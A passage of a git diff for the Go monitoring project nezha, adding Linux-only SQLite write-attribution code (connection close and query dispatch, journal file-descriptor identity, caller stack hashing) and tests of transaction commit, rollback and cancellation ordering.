[]string{"value"} } +func (sqliteAttributionBadConnRows) Close() error { return nil } +func (sqliteAttributionBadConnRows) Next([]driver.Value) error { return driver.ErrBadConn } + +func TestSQLiteAttributionReadonlyRowsReturnBadConnWithoutPanic(t *testing.T) { + // Given + rows := &sqliteAttributionRows{rows: sqliteAttributionBadConnRows{}} + + // When + err := rows.Next(make([]driver.Value, 1)) + + // Then + if !errors.Is(err, driver.ErrBadConn) { + t.Fatalf("readonly rows Next error = %v, want driver.ErrBadConn", err) + } +} diff --git a/service/singleton/sqlite_attribution_commit_linearization_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_commit_linearization_agentcompat_linux_test.go new file mode 100644 index 00000000..13c4dc4f --- /dev/null +++ b/service/singleton/sqlite_attribution_commit_linearization_agentcompat_linux_test.go @@ -0,0 +1,102 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "errors" + "testing" + + "golang.org/x/sys/unix" +) + +func TestSQLiteAttributionCommitReleaseLinearizesBeforeContextCancellation(t *testing.T) { + // Given + transactionContext, cancel := context.WithCancel(context.Background()) + defer cancel() + connection, transaction, session, databasePath := sqliteAttributionHeldTransaction(t, "released-before-cancel", transactionContext) + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("released transaction is not active") + } + + // When + commit := sqliteAttributionStartHeldCommit(t, transaction, session) + if err := sqliteAttributionTracker.Load().ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + cancel() + commitErr := <-commit + terminal, terminalErr := sqliteAttributionTracker.Load().WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + + // Then + if commitErr != nil { + t.Fatalf("released Commit error after context cancellation = %v", commitErr) + } + if terminalErr != nil || !terminal.Released || !terminal.Selected || !terminal.Finalizing { + t.Fatalf("released terminal=%+v err=%v", terminal, terminalErr) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after released Commit = %v, want EBADF", descriptorErr) + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 1 { + t.Fatalf("released Commit persisted %d rows", count) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("released Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Fatal("released Commit left the tracker transaction active") + } +} + +func TestSQLiteAttributionCommitCancellationAbortsBeforeRelease(t *testing.T) { + // Given + transactionContext, cancel := context.WithCancel(context.Background()) + defer cancel() + connection, transaction, session, databasePath := sqliteAttributionHeldTransaction(t, "cancelled-before-release", transactionContext) + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("cancelled transaction is not active") + } + + // When + commit := sqliteAttributionStartHeldCommit(t, transaction, session) + cancel() + commitErr := <-commit + releaseErr := sqliteAttributionTracker.Load().ReleaseSQLiteHold(session) + _, terminalErr := sqliteAttributionTracker.Load().WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + tracker := sqliteAttributionTracker.Load() + tracker.mu.Lock() + terminal := tracker.terminal + tracker.mu.Unlock() + + // Then + var holdErr *SQLiteHoldError + if !errors.As(commitErr, &holdErr) || !errors.Is(commitErr, ErrSQLiteHoldAborted) || !errors.Is(commitErr, context.Canceled) { + t.Fatalf("cancelled Commit error = %v", commitErr) + } + if !errors.Is(releaseErr, ErrSQLiteHoldStaleSession) { + t.Fatalf("release after cancellation-owned abort = %v", releaseErr) + } + if !errors.Is(terminalErr, ErrSQLiteHoldAborted) { + t.Fatalf("cancelled terminal wait error = %v, want aborted", terminalErr) + } + if terminal == nil || terminal.released { + t.Fatalf("cancelled terminal state = %+v, want aborted and unreleased", terminal) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after cancelled Commit = %v, want EBADF", descriptorErr) + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 0 { + t.Fatalf("cancelled Commit persisted %d rows", count) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("cancelled Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Fatal("cancelled Commit left the tracker transaction active") + } +} diff --git a/service/singleton/sqlite_attribution_completion_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_completion_agentcompat_linux_test.go new file mode 100644 index 00000000..029918d7 --- /dev/null +++ b/service/singleton/sqlite_attribution_completion_agentcompat_linux_test.go @@ -0,0 +1,154 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "database/sql/driver" + "errors" + "sync" + "sync/atomic" + "testing" +) + +type sqliteAttributionBlockingTx struct { + commitStarted chan struct{} + allowCommit chan struct{} + commitCalls atomic.Int32 + rollbackCalls atomic.Int32 + lifecycleMu *sync.Mutex + lockFree atomic.Bool +} + +func (transaction *sqliteAttributionBlockingTx) Commit() error { + transaction.commitCalls.Add(1) + // Probe before publishing entry so losing terminal calls cannot contend with this boundary check. + if transaction.lifecycleMu.TryLock() { + transaction.lockFree.Store(true) + transaction.lifecycleMu.Unlock() + } + close(transaction.commitStarted) + <-transaction.allowCommit + return nil +} + +func (transaction *sqliteAttributionBlockingTx) Rollback() error { + transaction.rollbackCalls.Add(1) + return nil +} + +func TestSQLiteAttributionTransactionCompletionRunsRawCommitExactlyOnce(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + identity := sqliteHoldTestTransaction(201) + if err := tracker.BeginSQLiteTransaction(identity); err != nil { + t.Fatal(err) + } + raw := &sqliteAttributionBlockingTx{commitStarted: make(chan struct{}), allowCommit: make(chan struct{})} + state := &sqliteAttributionTransaction{ + transaction: identity, + raw: raw, + tracker: tracker, + journalFD: -1, + done: make(chan struct{}), + } + var rawCloseCalls atomic.Int32 + connection := &sqliteAttributionConnection{transaction: state} + connection.closeRawConnection = func() error { + if !connection.lifecycleMu.TryLock() { + return errors.New("raw connection Close ran while lifecycle lock was held") + } + connection.lifecycleMu.Unlock() + rawCloseCalls.Add(1) + return nil + } + raw.lifecycleMu = &connection.lifecycleMu + owner := &sqliteAttributionTx{connection: connection, state: state} + secondCommit := &sqliteAttributionTx{connection: connection, state: state} + commitResult := make(chan error, 1) + secondCommitResult := make(chan error, 1) + rollbackResult := make(chan error, 1) + closeResult := make(chan error, 1) + secondCommitStarted := make(chan struct{}) + rollbackStarted := make(chan struct{}) + closeStarted := make(chan struct{}) + + // When + go func() { commitResult <- owner.Commit() }() + <-raw.commitStarted + go func() { + close(secondCommitStarted) + secondCommitResult <- secondCommit.Commit() + }() + go func() { + close(rollbackStarted) + rollbackResult <- owner.Rollback() + }() + go func() { + close(closeStarted) + closeResult <- connection.Close() + }() + <-secondCommitStarted + <-rollbackStarted + <-closeStarted + for _, result := range []<-chan error{secondCommitResult, rollbackResult} { + select { + case err := <-result: + t.Fatalf("completion loser returned before raw Commit completion: %v", err) + default: + } + } + select { + case <-state.done: + t.Fatal("completion published before raw Commit was allowed to finish") + default: + } + if calls := rawCloseCalls.Load(); calls != 0 { + t.Fatalf("raw connection Close calls while raw Commit was in flight = %d, want 0", calls) + } + if !raw.lockFree.Load() { + t.Fatal("raw Commit ran while lifecycle lock was held") + } + if !sqliteAttributionTrackerTransactionActive(tracker, identity) { + t.Fatal("tracker transaction became inactive while raw Commit was blocked") + } + close(raw.allowCommit) + commitErr := <-commitResult + secondCommitErr := <-secondCommitResult + rollbackErr := <-rollbackResult + closeErr := <-closeResult + + // Then + if commitErr != nil { + t.Fatalf("raw Commit error = %v", commitErr) + } + for _, loserErr := range []error{secondCommitErr, rollbackErr} { + if !errors.Is(loserErr, driver.ErrBadConn) { + t.Fatalf("completion loser error = %v, want driver.ErrBadConn", loserErr) + } + } + if closeErr != nil && !errors.Is(closeErr, driver.ErrBadConn) { + t.Fatalf("connection Close error = %v, want nil or driver.ErrBadConn", closeErr) + } + select { + case <-state.done: + default: + t.Fatal("completion signal did not close after raw Commit finished") + } + if calls := raw.commitCalls.Load(); calls != 1 { + t.Fatalf("raw Commit calls = %d, want 1", calls) + } + if calls := rawCloseCalls.Load(); calls != 1 { + t.Fatalf("raw connection Close calls after raw Commit completed = %d, want 1", calls) + } + if calls := raw.rollbackCalls.Load(); calls != 0 { + t.Fatalf("raw Rollback calls while raw Commit owned completion = %d, want 0", calls) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("completed transaction remained attached to the connection") + } + if sqliteAttributionTrackerTransactionActive(tracker, identity) { + t.Fatal("completed transaction remained active in the tracker") + } +} + +var _ driver.Tx = (*sqliteAttributionBlockingTx)(nil) diff --git a/service/singleton/sqlite_attribution_connection_close_agentcompat_linux.go b/service/singleton/sqlite_attribution_connection_close_agentcompat_linux.go new file mode 100644 index 00000000..a893f2c3 --- /dev/null +++ b/service/singleton/sqlite_attribution_connection_close_agentcompat_linux.go @@ -0,0 +1,26 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" +) + +func (connection *sqliteAttributionConnection) Close() error { + connection.lifecycleMu.Lock() + state := connection.transaction + connection.lifecycleMu.Unlock() + if state == nil { + return connection.closeRaw() + } + // database/sql may close Conn before Tx reaches Rollback; converge the attribution state here. + rollbackErr := state.rollback(connection) + return errors.Join(rollbackErr, connection.closeRaw()) +} + +func (connection *sqliteAttributionConnection) closeRaw() error { + if connection.closeRawConnection != nil { + return connection.closeRawConnection() + } + return connection.connection.Close() +} diff --git a/service/singleton/sqlite_attribution_connection_dispatch_agentcompat_linux.go b/service/singleton/sqlite_attribution_connection_dispatch_agentcompat_linux.go new file mode 100644 index 00000000..92acaf30 --- /dev/null +++ b/service/singleton/sqlite_attribution_connection_dispatch_agentcompat_linux.go @@ -0,0 +1,52 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql/driver" + "errors" +) + +func (connection *sqliteAttributionConnection) Exec(query string, values []driver.Value) (driver.Result, error) { + statement, err := connection.Prepare(query) + if err != nil { + return nil, err + } + defer statement.Close() + return statement.Exec(values) +} + +func (connection *sqliteAttributionConnection) ExecContext(ctx context.Context, query string, values []driver.NamedValue) (driver.Result, error) { + statement, err := connection.PrepareContext(ctx, query) + if err != nil { + return nil, err + } + defer statement.Close() + return statement.(driver.StmtExecContext).ExecContext(ctx, values) +} + +func (connection *sqliteAttributionConnection) Query(query string, values []driver.Value) (driver.Rows, error) { + statement, err := connection.Prepare(query) + if err != nil { + return nil, err + } + wrapped := statement.(*sqliteAttributionStatement) + return wrapped.queryOwned(func() (driver.Rows, error) { return wrapped.statement.Query(values) }, statement) +} + +func (connection *sqliteAttributionConnection) QueryContext(ctx context.Context, query string, values []driver.NamedValue) (driver.Rows, error) { + statement, err := connection.PrepareContext(ctx, query) + if err != nil { + return nil, err + } + return connection.queryContextStatement(ctx, statement.(*sqliteAttributionStatement), values, statement) +} + +func (connection *sqliteAttributionConnection) queryContextStatement(ctx context.Context, statement *sqliteAttributionStatement, values []driver.NamedValue, owner driver.Stmt) (driver.Rows, error) { + contextStatement, ok := statement.statement.(driver.StmtQueryContext) + if !ok { + return nil, errors.Join(driver.ErrSkip, owner.Close()) + } + return statement.queryOwned(func() (driver.Rows, error) { return contextStatement.QueryContext(ctx, values) }, owner) +} diff --git a/service/singleton/sqlite_attribution_evidence_agentcompat_linux.go b/service/singleton/sqlite_attribution_evidence_agentcompat_linux.go new file mode 100644 index 00000000..9e171f2a --- /dev/null +++ b/service/singleton/sqlite_attribution_evidence_agentcompat_linux.go @@ -0,0 +1,149 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "runtime" + "strings" + + "golang.org/x/sys/unix" +) + +func (connection *sqliteAttributionConnection) beforeWrite(classification sqliteAttributionClassification) error { + if !sqliteAttributionEnabled.Load() || classification.readonly { + return nil + } + if !classification.valid() { + return &SQLiteAttributionError{Cause: ErrSQLiteAttributionUnsupportedWrite} + } + connection.lifecycleMu.Lock() + state := connection.transaction + if state == nil { + connection.lifecycleMu.Unlock() + return &SQLiteAttributionError{Cause: ErrSQLiteAttributionUnboundWrite} + } + poison := state.poison + connection.lifecycleMu.Unlock() + if poison != nil { + return poison + } + connection.execution = &sqliteAttributionExecution{classification: classification, origin: sqliteAttributionOrigin()} + return nil +} + +func (connection *sqliteAttributionConnection) discardExecution() { connection.execution = nil } + +func (connection *sqliteAttributionConnection) publishExecution() error { + execution := connection.execution + connection.execution = nil + if execution == nil { + return nil + } + connection.lifecycleMu.Lock() + state := connection.transaction + if state == nil { + connection.lifecycleMu.Unlock() + return &SQLiteAttributionError{Cause: ErrSQLiteAttributionUnboundWrite} + } + if execution.hook.mismatch || !execution.hook.seen { + err := &SQLiteAttributionError{Cause: ErrSQLiteAttributionUnsupportedWrite} + state.poison = err + connection.lifecycleMu.Unlock() + return err + } + if state.journalFD < 0 { + descriptor, err := sqliteAttributionOpenJournalDescriptor(connection.journal) + if err != nil { + state.poison = err + connection.lifecycleMu.Unlock() + return err + } + state.journalFD = descriptor + } + journal, err := sqliteAttributionJournalIdentityFromDescriptor(state.journalFD) + if err != nil { + state.poison = err + connection.lifecycleMu.Unlock() + return err + } + transaction := state.transaction + tracker := state.tracker + connection.lifecycleMu.Unlock() + origin := execution.origin + origin.Operation = execution.classification.operation + origin.Table = execution.classification.table + err = tracker.RecordSQLiteWrite(transaction, SQLiteWriteObservation{ + Origin: origin, + Update: SQLiteUpdateObservation{Operation: execution.classification.operation, Table: execution.classification.table, Journal: journal}, + }) + if err != nil { + return connection.poison(err) + } + return nil +} + +func (connection *sqliteAttributionConnection) poison(err error) error { + connection.lifecycleMu.Lock() + state := connection.transaction + if state != nil { + state.poison = err + } + connection.lifecycleMu.Unlock() + return err +} + +// The adapter owns the explicit main transaction and DELETE journal; path-only stat is racy, so retain this O_PATH descriptor through finalization. +func sqliteAttributionOpenJournalDescriptor(path string) (int, error) { + descriptor, err := unix.Open(path, unix.O_PATH|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + return -1, &SQLiteAttributionError{Cause: errors.Join(ErrSQLiteAttributionJournalIdentity, err)} + } + return descriptor, nil +} + +func sqliteAttributionCloseJournalDescriptor(descriptor int) error { + if descriptor < 0 { + return nil + } + if err := unix.Close(descriptor); err != nil { + return &SQLiteAttributionError{Cause: errors.Join(ErrSQLiteAttributionJournalIdentity, err)} + } + return nil +} + +func sqliteAttributionJournalIdentityFromDescriptor(descriptor int) (SQLiteJournalIdentity, error) { + var status unix.Statx_t + mask := uint32(unix.STATX_BASIC_STATS | unix.STATX_BTIME | unix.STATX_MNT_ID) + if err := unix.Statx(descriptor, "", unix.AT_EMPTY_PATH|unix.AT_STATX_SYNC_AS_STAT, int(mask), &status); err != nil { + return SQLiteJournalIdentity{}, &SQLiteAttributionError{Cause: errors.Join(ErrSQLiteAttributionJournalIdentity, err)} + } + required := uint32(unix.STATX_MNT_ID | unix.STATX_BTIME) + if status.Mask&required != required { + return SQLiteJournalIdentity{}, &SQLiteAttributionError{Cause: ErrSQLiteAttributionJournalIdentity} + } + return SQLiteJournalIdentity{MountID: status.Mnt_id, DeviceMajor: status.Dev_major, DeviceMinor: status.Dev_minor, Inode: status.Ino, BirthSeconds: status.Btime.Sec, BirthNanoseconds: status.Btime.Nsec}, nil +} + +func sqliteAttributionOrigin() SQLiteExecutionOrigin { + programCounters := make([]uintptr, 16) + count := runtime.Callers(3, programCounters) + programCounters = programCounters[:count] + frames := runtime.CallersFrames(programCounters) + frame, more := frames.Next() + for more && !strings.Contains(frame.Function, "github.com/nezhahq/nezha/") { + frame, more = frames.Next() + } + return SQLiteExecutionOrigin{StackHash: sqliteAttributionStackHash(programCounters), FirstNezhaFrame: frame.Function} +} + +func sqliteAttributionStackHash(programCounters []uintptr) uint64 { + const offsetBasis uint64 = 14695981039346656037 + const prime uint64 = 1099511628211 + hash := offsetBasis + for _, programCounter := range programCounters { + hash ^= uint64(programCounter) + hash *= prime + } + return hash +} diff --git a/service/singleton/sqlite_attribution_hold_lifecycle_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_hold_lifecycle_agentcompat_linux_test.go new file mode 100644 index 00000000..65613d6e --- /dev/null +++ b/service/singleton/sqlite_attribution_hold_lifecycle_agentcompat_linux_test.go @@ -0,0 +1,186 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "errors" + "path/filepath" + "testing" + "time" + + "github.com/nezhahq/nezha/model" + "gorm.io/gorm" +) + +func TestSQLiteAttributionHoldFacadeEnablesOnArmAndDisablesOnAbort(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + t.Cleanup(resetSQLiteAttributionForTest) + + // When + receipt, armErr := ArmNextSQLiteHold() + enabledAfterArm := sqliteAttributionEnabled.Load() + _, abortErr := AbortSQLiteHold(receipt) + + // Then + if armErr != nil || abortErr != nil { + t.Fatalf("arm=%v abort=%v", armErr, abortErr) + } + if !enabledAfterArm { + t.Fatal("successful hold arm did not enable SQLite attribution") + } + if sqliteAttributionEnabled.Load() { + t.Fatal("successful hold abort left SQLite attribution enabled") + } +} + +func TestSQLiteAttributionHoldFacadeDisablesAfterRelease(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + t.Cleanup(resetSQLiteAttributionForTest) + receipt, err := ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + transaction := sqliteHoldTestTransaction(204) + tracker := sqliteAttributionTracker.Load() + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "api_tokens", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + + // When + result, releaseErr := ReleaseSQLiteHold(receipt) + + // Then + if releaseErr != nil || result.State != SQLiteHoldControlStateReleased { + t.Fatalf("release=%+v err=%v", result, releaseErr) + } + if sqliteAttributionEnabled.Load() { + t.Fatal("successful hold release left SQLite attribution enabled") + } +} + +func TestSQLiteAttributionHoldFacadeKeepsEnabledAfterCanceledWaitUntilAbort(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + t.Cleanup(resetSQLiteAttributionForTest) + receipt, err := ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + // When + _, waitErr := WaitSQLiteHoldSelected(ctx, receipt) + enabledAfterWait := sqliteAttributionEnabled.Load() + _, abortErr := AbortSQLiteHold(receipt) + + // Then + if !errors.Is(waitErr, context.Canceled) || abortErr != nil { + t.Fatalf("wait=%v abort=%v", waitErr, abortErr) + } + if !enabledAfterWait { + t.Fatal("canceled wait disabled attribution before the active hold was aborted") + } + if sqliteAttributionEnabled.Load() { + t.Fatal("abort after canceled wait left SQLite attribution enabled") + } +} + +func TestSQLiteAttributionHoldFacadeStaleReceiptCannotDisableNewHold(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + t.Cleanup(resetSQLiteAttributionForTest) + first, err := ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + if _, err := AbortSQLiteHold(first); err != nil { + t.Fatal(err) + } + second, err := ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + + // When + _, staleErr := AbortSQLiteHold(first) + + // Then + if !errors.Is(staleErr, ErrSQLiteHoldStaleSession) { + t.Fatalf("stale abort error = %v", staleErr) + } + if !sqliteAttributionEnabled.Load() { + t.Fatal("stale receipt disabled attribution owned by the current hold") + } + if _, err := AbortSQLiteHold(second); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteAttributionHoldFacadeSelectsGORMAPITokenUsageUpdate(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + t.Cleanup(resetSQLiteAttributionForTest) + database, err := gorm.Open(openSQLiteDialector(filepath.Join(t.TempDir(), "dashboard.sqlite")), &gorm.Config{}) + if err != nil { + t.Fatal(err) + } + sqlDatabase, err := database.DB() + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := sqlDatabase.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if err := database.AutoMigrate(&model.APIToken{}); err != nil { + t.Fatal(err) + } + token := model.APIToken{UserID: 1, Name: "usage-update", TokenHash: "hash"} + if err := database.Create(&token).Error; err != nil { + t.Fatal(err) + } + receipt, err := ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(t.Context()) + defer cancel() + writerDone := make(chan error, 1) + usageTime := time.Unix(1_700_000_000, 0) + go func() { + writerDone <- database.Model(&model.APIToken{}).Where("id = ?", token.ID).Updates(map[string]any{ + "last_used_at": usageTime, + "last_used_ip": "127.0.0.1", + }).Error + cancel() + }() + + // When + selected, selectedErr := WaitSQLiteHoldSelected(ctx, receipt) + finalizing, finalizingErr := WaitSQLiteHoldFinalizing(ctx, selected) + _, releaseErr := ReleaseSQLiteHold(finalizing) + writerErr := <-writerDone + + // Then + if selectedErr != nil || finalizingErr != nil || releaseErr != nil || writerErr != nil { + t.Fatalf("selected=%v finalizing=%v release=%v writer=%v", selectedErr, finalizingErr, releaseErr, writerErr) + } + var updated model.APIToken + if err := database.First(&updated, token.ID).Error; err != nil { + t.Fatal(err) + } + if updated.LastUsedAt == nil || !updated.LastUsedAt.Equal(usageTime) || updated.LastUsedIP != "127.0.0.1" { + t.Fatalf("persisted usage update = %+v", updated) + } +} diff --git a/service/singleton/sqlite_attribution_journal_fd_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_journal_fd_agentcompat_linux_test.go new file mode 100644 index 00000000..0892c226 --- /dev/null +++ b/service/singleton/sqlite_attribution_journal_fd_agentcompat_linux_test.go @@ -0,0 +1,42 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "path/filepath" + "testing" + + "golang.org/x/sys/unix" +) + +func TestSQLiteAttributionDerivesJournalIdentityFromOpenedDescriptor(t *testing.T) { + // Given + journalPath := filepath.Join(t.TempDir(), "dashboard.sqlite-journal") + descriptor, err := unix.Open(journalPath, unix.O_CREAT|unix.O_WRONLY|unix.O_CLOEXEC, 0o600) + if err != nil { + t.Fatal(err) + } + if err := unix.Close(descriptor); err != nil { + t.Fatal(err) + } + descriptor, err = unix.Open(journalPath, unix.O_PATH|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := unix.Close(descriptor); closeErr != nil { + t.Error(closeErr) + } + }) + + // When + identity, err := sqliteAttributionJournalIdentityFromDescriptor(descriptor) + + // Then + if err != nil { + t.Fatal(err) + } + if identity.MountID == 0 || identity.Inode == 0 || identity.BirthSeconds == 0 { + t.Fatal("descriptor-derived journal identity is incomplete") + } +} diff --git a/service/singleton/sqlite_attribution_lifecycle_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_lifecycle_agentcompat_linux_test.go new file mode 100644 index 00000000..04754ba8 --- /dev/null +++ b/service/singleton/sqlite_attribution_lifecycle_agentcompat_linux_test.go @@ -0,0 +1,211 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql/driver" + "errors" + "testing" + + "golang.org/x/sys/unix" +) + +func TestSQLiteAttributionReturningCompletesExactlyOneRow(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + transaction, err := database.BeginTx(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + + // When + rows, err := transaction.QueryContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id", "one-row") + if err != nil { + t.Fatal(err) + } + if !rows.Next() { + t.Fatal("RETURNING did not yield its inserted row") + } + var identifier int64 + if err := rows.Scan(&identifier); err != nil { + t.Fatal(err) + } + if rows.Next() { + t.Fatal("RETURNING yielded more than one row") + } + rowsErr := rows.Err() + closeErr := rows.Close() + commitErr := transaction.Commit() + count := sqliteAttributionSettingsCount(t, database) + + // Then + if rowsErr != nil || closeErr != nil || commitErr != nil { + t.Fatal("completed RETURNING did not finish successfully") + } + if count != 1 { + t.Fatalf("completed RETURNING persisted %d rows", count) + } +} + +func TestSQLiteAttributionEarlyReturningCloseRollsBackTransaction(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + transaction, err := database.BeginTx(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + + // When + rows, err := transaction.QueryContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id", "early-close") + if err != nil { + t.Fatal(err) + } + if !rows.Next() { + t.Fatal("RETURNING did not yield its inserted row") + } + if err := rows.Close(); err != nil { + t.Fatal(err) + } + commitErr := transaction.Commit() + count := sqliteAttributionSettingsCount(t, database) + + // Then + if commitErr == nil { + t.Fatal("early RETURNING Close allowed Commit") + } + if count != 0 { + t.Fatalf("early RETURNING Close persisted %d rows", count) + } +} + +func TestSQLiteAttributionZeroRowUpdateDoesNotPublishEvidence(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + transaction, err := database.BeginTx(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + + // When + if _, err := transaction.Exec("UPDATE settings SET value = ? WHERE id = ?", "zero", -1); err != nil { + t.Fatal(err) + } + commitErr := transaction.Commit() + evidence := sqliteAttributionTrackerWriteEvidence() + + // Then + if commitErr != nil { + t.Fatal(commitErr) + } + if evidence.hasWrite { + t.Fatal("zero-row UPDATE published write evidence") + } +} + +func TestSQLiteAttributionDirectReadQueryClosesOwnedStatement(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + + // When + rows, err := database.QueryContext(context.Background(), "SELECT id FROM settings") + if err != nil { + t.Fatal(err) + } + next := rows.Next() + rowsErr := rows.Err() + closeErr := rows.Close() + + // Then + if next { + t.Fatal("empty SELECT returned a row") + } + if rowsErr != nil || closeErr != nil { + t.Fatal("direct readonly Query did not complete cleanly") + } +} + +func TestSQLiteAttributionCommitClosesRetainedJournalDescriptor(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + rawConnection, err := sqliteAttributionDriver{}.Open(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + create, err := connection.Prepare("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)") + if err != nil { + t.Fatal(err) + } + if _, err := create.Exec(nil); err != nil { + t.Fatal(err) + } + if err := create.Close(); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := connection.Begin() + if err != nil { + t.Fatal(err) + } + insert, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + if _, err := insert.Exec([]driver.Value{"retained-descriptor"}); err != nil { + t.Fatal(err) + } + if err := insert.Close(); err != nil { + t.Fatal(err) + } + _, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("active transaction is missing before Commit") + } + + // When + commitErr := transaction.Commit() + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + + // Then + if commitErr != nil { + t.Fatal(commitErr) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("retained journal descriptor remains open: %v", descriptorErr) + } +} + +func TestSQLiteAttributionQueryRowReturningPoisonsTransaction(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + transaction, err := database.BeginTx(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + + // When + var identifier int64 + scanErr := transaction.QueryRowContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id", "query-row").Scan(&identifier) + commitErr := transaction.Commit() + + // Then + if scanErr != nil { + t.Fatal(scanErr) + } + if commitErr == nil { + t.Fatal("QueryRowContext RETURNING committed without reaching EOF") + } + if sqliteAttributionTrackerHasWrite() { + t.Fatal("QueryRowContext RETURNING published evidence without EOF") + } +} diff --git a/service/singleton/sqlite_attribution_query_lifecycle_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_query_lifecycle_agentcompat_linux_test.go new file mode 100644 index 00000000..9e8fb7bf --- /dev/null +++ b/service/singleton/sqlite_attribution_query_lifecycle_agentcompat_linux_test.go @@ -0,0 +1,145 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql/driver" + "errors" + "testing" +) + +type sqliteAttributionLegacyQueryStmt struct { + closeCount int +} + +func (statement *sqliteAttributionLegacyQueryStmt) Close() error { statement.closeCount++; return nil } +func (sqliteAttributionLegacyQueryStmt) NumInput() int { return -1 } +func (sqliteAttributionLegacyQueryStmt) Exec([]driver.Value) (driver.Result, error) { + return nil, driver.ErrSkip +} +func (sqliteAttributionLegacyQueryStmt) Query([]driver.Value) (driver.Rows, error) { + return nil, driver.ErrSkip +} + +type sqliteAttributionCountingStmt struct { + driver.Stmt + closeCount int +} + +func (statement *sqliteAttributionCountingStmt) Close() error { + statement.closeCount++ + return statement.Stmt.Close() +} + +type sqliteAttributionQueryProbeStmt struct { + closeCount int + queryCount int +} + +func (statement *sqliteAttributionQueryProbeStmt) Close() error { statement.closeCount++; return nil } +func (sqliteAttributionQueryProbeStmt) NumInput() int { return -1 } +func (sqliteAttributionQueryProbeStmt) Exec([]driver.Value) (driver.Result, error) { + return nil, driver.ErrSkip +} +func (statement *sqliteAttributionQueryProbeStmt) Query([]driver.Value) (driver.Rows, error) { + statement.queryCount++ + return nil, driver.ErrSkip +} + +func TestSQLiteAttributionDirectQueryClosesOwnedStatementWhenPreStepRejects(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + rawConnection, err := 